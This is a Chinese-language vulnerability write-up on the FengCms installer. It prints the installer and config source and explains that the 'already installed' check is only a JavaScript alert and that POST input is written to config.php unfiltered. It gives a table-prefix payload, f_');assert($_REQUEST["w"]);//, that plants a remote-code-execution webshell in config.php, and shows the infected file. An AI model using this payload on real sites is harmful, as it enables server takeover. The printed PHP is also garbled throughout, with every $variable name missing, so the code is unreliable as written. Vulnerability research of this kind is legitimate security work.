进入./install/index.php文件 ``` <?php /******************************************************************* * @authors FengCms * @web http://www.fengcms.com * @email web@fengcms.com * @date 2013-10-30 16:00:12 * @version FengCms Beta 1.0 * @copy Copyright © 2013-2018 Powered by DiFang Web Studio *******************************************************************/ // header("Content-type:text/html;charset=utf-8"); define("TPL_INCLUDE",1); // 定义当前路径 define('ABS_PATH',dirname(__FILE__)); define('ROOT_PATH',dirname(ABS_PATH)); if(!['step'])['step']=1; =ROOT_PATH.'/config.php'; =ABS_PATH.'/install.sql'; if(file_exists(ROOT_PATH.'/upload/INSTALL')){ echo '<script type="text/javascript">alert("系统已安装,如需要重新安装,请手工删除upload目录下的INSTALL文件!");</script>'; echo '<meta http-equiv="refresh" content="0;url=/">'; } switch(['step']){ case '1': //安装许可协议 include ABS_PATH."/step/step1.php"; break; case '2': //检查安装环境是否满足要求 = ''; if(extension_loaded('gd')) { if(function_exists('imagepng')) .= 'png';...
进入./install/index.php文件 ``` <?php /******************************************************************* * @authors FengCms * @web http://www.fengcms.com * @email web@fengcms.com * @date 2013-10-30 16:00:12 * @version FengCms Beta 1.0 * @copy Copyright © 2013-2018 Powered by DiFang Web Studio *******************************************************************/ // header("Content-type:text/html;charset=utf-8"); define("TPL_INCLUDE",1); // 定义当前路径 define('ABS_PATH',dirname(__FILE__)); define('ROOT_PATH',dirname(ABS_PATH)); if(!['step'])['step']=1; =ROOT_PATH.'/config.php'; =ABS_PATH.'/install.sql'; if(file_exists(ROOT_PATH.'/upload/INSTALL')){ echo '<script type="text/javascript">alert("系统已安装,如需要重新安装,请手工删除upload目录下的INSTALL文件!");</script>'; echo '<meta http-equiv="refresh" content="0;url=/">'; } switch(['step']){ case '1': //安装许可协议 include ABS_PATH."/step/step1.php"; break; case '2': //检查安装环境是否满足要求 = ''; if(extension_loaded('gd')) { if(function_exists('imagepng')) .= 'png'; if(function_exists('imagejpeg')) .= ' jpg'; if(function_exists('imagegif')) .= ' gif'; } = '0'; if(extension_loaded('json')) { if(function_exists('json_decode') && function_exists('json_encode')) = '1'; } //新加fsockopen 函数判断,此函数影响安装后会员注册及登录操作。 if(function_exists('fsockopen')) { = '1'; } = preg_match("/^[0-9.]{7,15}$/", @gethostbyname('www.baidu.cn')) ? 1 : 0; //是否满足FengCms安装需求 = (phpversion() >= '5.2.0' && extension_loaded('mysql') && && && ) ? 1 : 0; //配置文件是否存在和可写 = (is_readable() && is_writable()) ? 1 : 0; //上传目录是否可写 = (dir_writeable(ROOT_PATH."/upload")) ? 1 : 0; //模块导出目录是否可写 = (dir_writeable(ROOT_PATH."/upload/module")) ? 1 : 0; //前台缓存目录是否可写 = (dir_writeable(ROOT_PATH."/app/cache")) ? 1 : 0; include ABS_PATH."/step/step2.php"; break; case '3': //填写数据库信息 include ABS_PATH."/step/step3.php"; break; case '4': //正在安装 =@mysql_connect(['host'],['user'],['password']); if(!){ echo '<script type="text/javascript">alert("链接主机失败,请检查主机地址、用户名和密码是否正确!");history.go(-1);</script>'; exit(); }elseif(intval(mysql_get_server_info())<5){ echo '<script type="text/javascript">alert("您的MYSQL版本为'. mysql_get_server_info().',版本太低,不能安装FengCms!");history.go(-1);</script>'; exit(); }else{ if(!mysql_select_db(['dbname'],)){ //如果数据库不存在,我们就进行创建。 if (!mysql_query("CREATE DATABASE ". ['dbname'] ." default character set utf8;",)) { echo '<script type="text/javascript">alert("数据库不存在,创建不成功");history.go(-1);</script>'; }else{ if(!mysql_select_db(['dbname'],)){ echo '<script type="text/javascript">alert("链接数据库失败,请检查数据库是否正确!");history.go(-1);</script>'; }else{ include "data.php"; } } }else{ include "data.php"; } } break; case '5': //安装完成 include ABS_PATH."/step/step5.php"; = fopen(ROOT_PATH.'/upload/INSTALL','w'); fclose (); break; /**** case '6': //删除安装目录 if(rmdirs(ROOT_PATH.'/install') or rmdir(ROOT_PATH.'/install')){ echo '<script type="text/javascript">alert("删除成功!");close();</script>'; exit(); }else{ echo '<script type="text/javascript">alert("删除失败,请手工删除网站根目录下install目录!");close();</script>'; exit(); } break; ***/ } function dir_writeable() { /** * 如果不是目录将创建一个可读写的目录 */ if(!is_dir()) { @mkdir(, 0777); } if(is_dir()) { //如果目录已存在 if( = @fopen("/test.test", 'w')) { //创建一个名为test.test的文件来测试 @fclose(); //关闭文件流 @unlink("/test.test"); //删除测试文件 = 1; //能创建则说明可读取,返回值为 1 } else { = 0; //不能创建,返回值为 0 } } return ; //返回值 } ?> ``` 可以看到这里判断./upload/INSTALL文件是否存在,若存在,就弹出JavaScript代码。但是这里我们可以完全忽视javascript代码,即可进入下一步。 接着看看./install/install.php文件 ``` <?php header("Content-type:text/html;charset=utf-8"); //看你用的是什么编码,要保持一致。 define("TPL_INCLUDE",1); // 定义当前路径 define('ABS_PATH',dirname(__FILE__).'/'); =ABS_PATH."config.php"; //要写入的配置文件。 if(!is_writable()){ //判断是否有可写的权限,linux操作系统要注意这一点,windows不必注意。 echo "<font color=red>文件不可写</font>"; exit(); } if(['step']=='2'){ ?> <table cellpadding="0" cellspacing="0" class="table_list"> <tr> <th class="col1">检查项目</th> <th class="col2">当前环境</th> <th class="col3">PHPCMS 建议</th> <th class="col4">功能影响</th> </tr> <tr> <td>操作系统</td> <td><?php echo php_uname();?></td> <td>Windows_NT/Linux/Freebsd</td> <td><span><img src="images/correct.gif" /></span></td> </tr> <tr> <td>WEB 服务器</td> <td><?php echo ['SERVER_SOFTWARE'];?></td> <td>Apache/Nginx/IIS</td> <td><span><img src="images/correct.gif" /></span></td> </tr> <tr> <td>PHP 版本</td> <td>PHP <?php echo phpversion();?></td> <td>PHP 5.2.0 及以上</td> <td><?php if(phpversion() >= '5.2.0'){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 无法安装</font><?php }?></font></td> </tr> <tr> <td>MYSQL 扩展</td> <td><?php if(extension_loaded('mysql')){ ?>√<?php }else{ ?>×<?php }?></td> <td>必须开启</td> <td><?php if(extension_loaded('mysql')){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 无法安装</font><?php }?></td> </tr> <tr> <td>ICONV/MB_STRING 扩展</td> <td><?php if(extension_loaded('iconv') || extension_loaded('mbstring')){ ?>√<?php }else{ ?>×<?php }?></td> <td>必须开启</td> <td><?php if(extension_loaded('iconv') || extension_loaded('mbstring')){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 字符集转换效率低</font><?php }?></td> </tr> <tr> <td>JSON扩展</td> <td><?php if(){ ?>√<?php }else{ ?>×<?php }?></td> <td>必须开启</td> <td><?php if(){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 不只持json,<a href="http://pecl.php.net/package/json" target="_blank">安装 PECL扩展</a></font><?php }?></td> </tr> <tr> <td>GD 扩展</td> <td><?php if(){ ?>√ (支持 <?php echo ;?>)<?php }else{ ?>×<?php }?></td> <td>建议开启</td> <td><?php if(){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 不支持缩略图和水印</font><?php }?></td> </tr> <tr> <td>ZLIB 扩展</td> <td><?php if(extension_loaded('zlib')){ ?>√<?php }else{ ?>×<?php }?></td> <td>建议开启</td> <td><?php if(extension_loaded('zlib')){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 不支持Gzip功能</font><?php }?></td> </tr> <tr> <td>FTP 扩展</td> <td><?php if(extension_loaded('ftp')){ ?>√<?php }else{ ?>×<?php }?></td> <td>建议开启</td> <td><?php if(extension_loaded('ftp')){ ?><span><img src="images/correct.gif" /></span><?php }elseif(ISUNIX){ ?><font class="red"><img src="images/error.gif" /> 不支持FTP形式文件传送</font><?php }?></td> </tr> <tr> <td>allow_url_fopen</td> <td><?php if(ini_get('allow_url_fopen')){ ?>√<?php }else{ ?>×<?php }?></td> <td>建议打开</td> <td><?php if(ini_get('allow_url_fopen')){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 不支持保存远程图片</font><?php }?></td> </tr> <tr> <td>fsockopen</td> <td><?php if(function_exists('fsockopen')){ ?>√<?php }else{ ?>×<?php }?></td> <td>建议打开</td> <td><?php if(=='1'){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 不支持fsockopen函数</font><?php }?></td> </tr> <tr> <td>DNS解析</td> <td><?php if(){ ?>√<?php }else{ ?>×<?php }?></td> <td>建议设置正确</td> <td><?php if(){ ?><span><img src="images/correct.gif" /></span><?php }else{ ?><font class="red"><img src="images/error.gif" /> 不支持采集和保存远程图片</font><?php }?></td> </tr> </table> <?php } // = fopen(, "w"); //以写入的方式打开config.php这个文件。 if(['install']){ //获取用户提交的数据。 =['host']; =['user']; =['password']; =['dbname']; if(!=@mysql_connect(,,)){ echo "连接数据库失败!请返回上一页检查连接参数 <a href='javascript:history.go(-1)' mce_href='javascript:history.go(-1)'><font color=#ff0000>返回修改</font></a>"; exit(); }else{ mysql_query("set names gb2312"); //设置数据库的编码,注意要与前面一致。 if(!mysql_select_db(,)){ //如果数据库不存在,我们就进行创建。 if(!mysql_query()){ echo "创建数据库失败,请确认是否有足够的权限!<a href='javascript:history.go(-1)' mce_href='javascript:history.go(-1)'><font color=#ff0000>返回修改</font></a>"; exit(); } } echo file_get_contents(); exit; = fopen(, "w"); //以写入的方式打开config.php这个文件。 fwrite(,); //将配置信息写入config.php文件。 fclose(); include_once(ABS_PATH."config.php"); //导入配置信息. //下面根据你实际的表的结构跟初始化表的数据来写,这些sql语句,我们在导出时可以找到。 //新建一个表test1 [] = "CREATE TABLE `test1` ( `id` int(4) NOT NULL auto_increment, `name` varchar(20) character set gb2312 NOT NULL, `major` varchar(40) character set gb2312 NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=gb2312 AUTO_INCREMENT=1;"; //新建一个表test2 [] = "CREATE TABLE `test2` ( `id` int(4) NOT NULL auto_increment, `name` varchar(20) character set gb2312 NOT NULL, `major` varchar(40) character set gb2312 NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=gb2312 AUTO_INCREMENT=1;"; //为test1表默认初始化一些数据。 []="INSERT INTO `test1` (`name`, `major`) VALUES('张三','电子商务')"; foreach( as ){ if(!mysql_query()){ //依次执行以上的sql语句,就是创建表和初始化数据。 echo "创建表失败或者初始化数据失败"; exit(); } } mysql_close(); echo "安装成功";//可以做一个跳转到首页。 exit(); } } ?> <html> <head><title>php安装程序的基本原理</title></head> <body> <form action="install.php?" method="post"> 填写主机:<input type="text" name="host">本地主机为localhost<br /> 连接数据库的用户名:<input type="text" name="user"><br /> 连接数据库的密码:<input type="text" name="password"><br /> 要创建的数据库名:<input type="text" name="dbname"><br /> <input type="submit" name="install" value="安装"> </form> </body> </html> ``` 这个文件入之后会判断config.php文件是否可写,接着对传入的post值并无任何过滤 跟进config.php文件 ``` <?php /******************************************************************* * @authors FengCms * @web http://www.FengCms.com * @email web@FengCms.com * @date 2013-10-30 16:00:12 * @version FengCms Beta 1.0 * @copy Copyright © 2013-2018 Powered by DiFang Web Studio *******************************************************************/ defined('TPL_INCLUDE') or die( 'Restricted access'); /*---------------- MYSQL 数据库选项 ------------------------*/ define('DB_HOST','localhost');//地址 define('DB_USER','root');//用户 define('DB_PASS','root');//密码 define('DB_NAME','fengcms');//库名 define('DB_TYPE','mysqli');//类型 支持mysql和mysqli的方式,默认安装为mysqli方式 define('DB_PREFIX','f_');//表扩展名 安装后请勿修改 define('DB_VIEW_PREFIX',DB_PREFIX.'view_');//视图表扩展名 请勿修改 /*---------------- 网站设置项(伪静态和后台认证码)---------*/ define('URL_TYPE', 1);//访问地址方法,0动态1伪静态 define('ADMIN_CODE','8888');//认证码 只能是四位 /*---------------- 网站调试模式是否开启 --------------------*/ define('DEBUGS', true);//调试模式 true 开 false 关 /*---------------- 系统核心选项(请勿修改) ----------------*/ define('CONTROLLER','Controller');//控制器名称 define('DEFAULT_CONTROLLER','home'.CONTROLLER);//默认控制器 define('DEFAULT_OPERATE','index');//默认方法 define('KEYS', 'admin123');//键值 define('SESSION_EXT', 'se_');//SESSION扩展 define('SESSION_DOMAIN', '');//SESSION域名 define('CACHE_PATH',APP_PATH.'/cache/');//缓存路径 ``` 在表名前缀处构造pyload:```f_');assert($_REQUEST["w"]);//``` 我们就这样完美构造出了pyload 紧接着就实际操作下:     安装完成过后再看看config.php文件 ``` <?php /******************************************************************* * @authors FengCms * @web http://www.FengCms.com * @email web@FengCms.com * @date 2013-10-30 16:00:12 * @version FengCms Beta 1.0 * @copy Copyright © 2013-2018 Powered by DiFang Web Studio *******************************************************************/ defined('TPL_INCLUDE') or die( 'Restricted access'); /*---------------- MYSQL 数据库选项 ------------------------*/ define('DB_HOST','localhost');//地址 define('DB_USER','root');//用户 define('DB_PASS','root');//密码 define('DB_NAME','fe');//库名 define('DB_TYPE','mysqli');//类型 支持mysql和mysqli的方式,默认安装为mysqli方式 define('DB_PREFIX','');assert($_REQUEST["w"]);//');eval($_REQUEST["w"]);//');//表扩展名 安装后请勿修改 define('DB_VIEW_PREFIX',DB_PREFIX.'view_');//视图表扩展名 请勿修改 /*---------------- 网站设置项(伪静态和后台认证码)---------*/ define('URL_TYPE', 1);//访问地址方法,0动态1伪静态 define('ADMIN_CODE','8888');//认证码 只能是四位 /*---------------- 网站调试模式是否开启 --------------------*/ define('DEBUGS', true);//调试模式 true 开 false 关 /*---------------- 系统核心选项(请勿修改) ----------------*/ define('CONTROLLER','Controller');//控制器名称 define('DEFAULT_CONTROLLER','home'.CONTROLLER);//默认控制器 define('DEFAULT_OPERATE','index');//默认方法 define('KEYS', 'admin123');//键值 define('SESSION_EXT', 'se_');//SESSION扩展 define('SESSION_DOMAIN', '');//SESSION域名 define('CACHE_PATH',APP_PATH.'/cache/');//缓存路径 ``` 在主页直接执行phpinfo()函数,效果如下 